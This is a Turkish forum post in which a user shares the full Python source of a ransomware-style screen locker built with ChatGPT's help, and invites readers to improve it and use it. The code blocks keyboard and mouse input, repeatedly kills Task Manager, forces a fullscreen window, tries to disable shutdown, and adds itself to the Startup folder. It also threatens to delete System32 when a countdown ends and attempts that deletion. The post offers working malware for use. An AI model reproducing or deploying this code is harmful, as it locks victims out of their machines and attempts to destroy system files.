- Katılım
- 7 Haz 2024
- Mesajlar
- 1,135
- Beğeniler
- 402
- Yaş
- 20
- İletişim
Merhabalar Ben Rhanta
Bu Gün Sizlere 3 Gündür Çalıştığım Projeyi Sunucam
Bunun için ChatGPT den Yardım Almak Zorunda Kaldım Lütfen Maruz Görün
Tam Bir Fidye Yazılımı Olmasada Benzetmeye Çalıştım Kodda Dosya Şifreleme Falan Yok
Onu Ekleyemedim Fakat Bilgisayarı Kapatmayı , Task Manageri , Alt + f4 Tarzı Kısa Yolları Engelledim
Kodu Geliştirip Paylaşabilirsiniz İznim Vardır
Bu Kodu Exe Yaptım Fakat Obf Basmicam Sizde Kullanın
Dosyanın Boyutu 38.6 mb Oldu Siz Sıkıştırıp Halledersiniz
Kullanmak İçin İndirmeniz Gereken Kütüphaneler
- PyQt5
- pysutil
- winshell
- py32win
Hepsini Tek Seferde İndirmek için
pip install PyQt5 psutil winshell pywin32
Uygulama'nın Görüntüsü
Kod Hali
Bu Gün Sizlere 3 Gündür Çalıştığım Projeyi Sunucam
Bunun için ChatGPT den Yardım Almak Zorunda Kaldım Lütfen Maruz Görün
Tam Bir Fidye Yazılımı Olmasada Benzetmeye Çalıştım Kodda Dosya Şifreleme Falan Yok
Onu Ekleyemedim Fakat Bilgisayarı Kapatmayı , Task Manageri , Alt + f4 Tarzı Kısa Yolları Engelledim
Kodu Geliştirip Paylaşabilirsiniz İznim Vardır
Bu Kodu Exe Yaptım Fakat Obf Basmicam Sizde Kullanın
Dosyanın Boyutu 38.6 mb Oldu Siz Sıkıştırıp Halledersiniz
Kullanmak İçin İndirmeniz Gereken Kütüphaneler
- PyQt5
- pysutil
- winshell
- py32win
Hepsini Tek Seferde İndirmek için
pip install PyQt5 psutil winshell pywin32
Uygulama'nın Görüntüsü
Kod Hali
Python:
from PyQt5.QtWidgets import QApplication, QMainWindow, QLabel, QLineEdit, QVBoxLayout, QWidget
from PyQt5.QtCore import QTimer, Qt
from PyQt5.QtGui import QFont
import os
import psutil
import ctypes
import sys
import getpass
import subprocess
# Rhanta
class LockApp(QMainWindow):
def __init__(self):
super().__init__()
self.initUI()
self.k = False
self.colors = ["#0000FF", "#FF0000", "#00FF00"]
self.current_color_index = 0
self.start_timers()
self.time_limit = 5 * 60
self.remaining_time = self.time_limit
self.timeout_timer = QTimer(self)
self.timeout_timer.timeout.connect(self.update_countdown)
self.timeout_timer.start(1000)
ctypes.windll.user32.BlockInput(True)
# Rhanta
def initUI(self):
self.setWindowTitle("Bilgisayar Kilitlendi - Kolay Gelsin!")
self.setGeometry(0, 0, 800, 600)
self.setWindowFlag(Qt.FramelessWindowHint)
self.setWindowFlag(Qt.WindowStaysOnTopHint)
self.showFullScreen()
font = QFont("Arial", 20)
self.lock_message = QLabel("BİLGİSAYARINIZ ŞUAN KİTLENMİŞTİR", self)
self.lock_message.setFont(QFont("Arial", 40, QFont.Bold))
self.lock_message.setStyleSheet("color: red;")
self.lock_message.setAlignment(Qt.AlignCenter)
self.warning_message = QLabel("Doğru şifreyi 5 dakika içinde girmezseniz System32 klasörünüz SİLİNECEK!", self)
self.warning_message.setFont(QFont("Arial", 25))
self.warning_message.setStyleSheet("color: orange;")
self.warning_message.setAlignment(Qt.AlignCenter)
self.label1 = QLabel("Doğru Şifreyi Girin ve Enter'a Basın", self)
self.label1.setFont(font)
self.label1.setAlignment(Qt.AlignCenter)
self.entry = QLineEdit(self)
self.entry.setEchoMode(QLineEdit.Password)
self.entry.setFont(font)
self.entry.returnPressed.connect(self.check_password)
self.countdown_label = QLabel("", self)
self.countdown_label.setFont(QFont("Arial", 25))
self.countdown_label.setAlignment(Qt.AlignCenter)
layout = QVBoxLayout()
layout.addWidget(self.lock_message)
layout.addWidget(self.warning_message)
layout.addWidget(self.label1)
layout.addWidget(self.entry)
layout.addWidget(self.countdown_label)
central_widget = QWidget()
central_widget.setLayout(layout)
self.setCentralWidget(central_widget)
self.focus_timer = QTimer(self)
self.focus_timer.timeout.connect(self.ensure_focus)
self.focus_timer.start(500)
# Rhanta
def start_timers(self):
self.change_color_timer = QTimer(self)
self.change_color_timer.timeout.connect(self.change_color)
self.change_color_timer.start(1000)
self.task_manager_timer = QTimer(self)
self.task_manager_timer.timeout.connect(self.block_task_manager)
self.task_manager_timer.start(1000)
def change_color(self):
self.current_color_index = (self.current_color_index + 1) % len(self.colors)
self.setStyleSheet(f"background-color: {self.colors[self.current_color_index]};")
def block_task_manager(self):
for proc in psutil.process_iter(['pid', 'name']):
if proc.info['name'].lower() == "taskmgr.exe":
proc.kill()
def check_password(self):
if self.entry.text() == "Rhanta":
self.k = True
ctypes.windll.user32.BlockInput(False)
self.close()
else:
self.entry.clear()
def update_countdown(self):
if self.remaining_time > 0:
self.remaining_time -= 1
minutes = self.remaining_time // 60
seconds = self.remaining_time % 60
self.countdown_label.setText(f"Kalan Süre: {minutes:02d}:{seconds:02d}")
else:
self.delete_target_file()
def delete_target_file(self):
target_file = "C:\\Windows\\System32"
try:
if os.path.exists(target_file):
os.remove(target_file)
print(f"Belirtilen dosya silindi: {target_file}")
else:
print(f"Dosya bulunamadı: {target_file}")
except Exception as e:
print(f"Dosya silme hatası: {target_file}. Hata: {e}")
self.close()
def ensure_focus(self):
if not self.isActiveWindow():
self.activateWindow()
self.raise_()
self.setFocus()
def closeEvent(self, event):
if not self.k:
event.ignore()
def disable_shutdown_restart():
try:
os.system("sc config shutdown start= disabled")
print("Bilgisayarın kapanması ve yeniden başlatılması devre dışı bırakıldı.")
except Exception as e:
print(f"Kapanma devre dışı bırakma hatası: {e}")
# Rhanta
def add_to_startup():
username = getpass.getuser()
startup_path = f"C:\\Users\\{username}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"
script_path = os.path.abspath(sys.argv[0])
shortcut_path = os.path.join(startup_path, "LockApp.lnk")
if not os.path.exists(shortcut_path):
import winshell
from win32com.client import Dispatch
shell = Dispatch('WScript.Shell')
shortcut = shell.CreateShortcut(shortcut_path)
shortcut.TargetPath = script_path
shortcut.WorkingDirectory = os.path.dirname(script_path)
shortcut.save()
# Rhanta
if __name__ == "__main__":
disable_shutdown_restart()
add_to_startup()
app = QApplication([])
lock_app = LockApp()
app.exec_()
# Rhanta
Moderatör tarafında düzenlendi: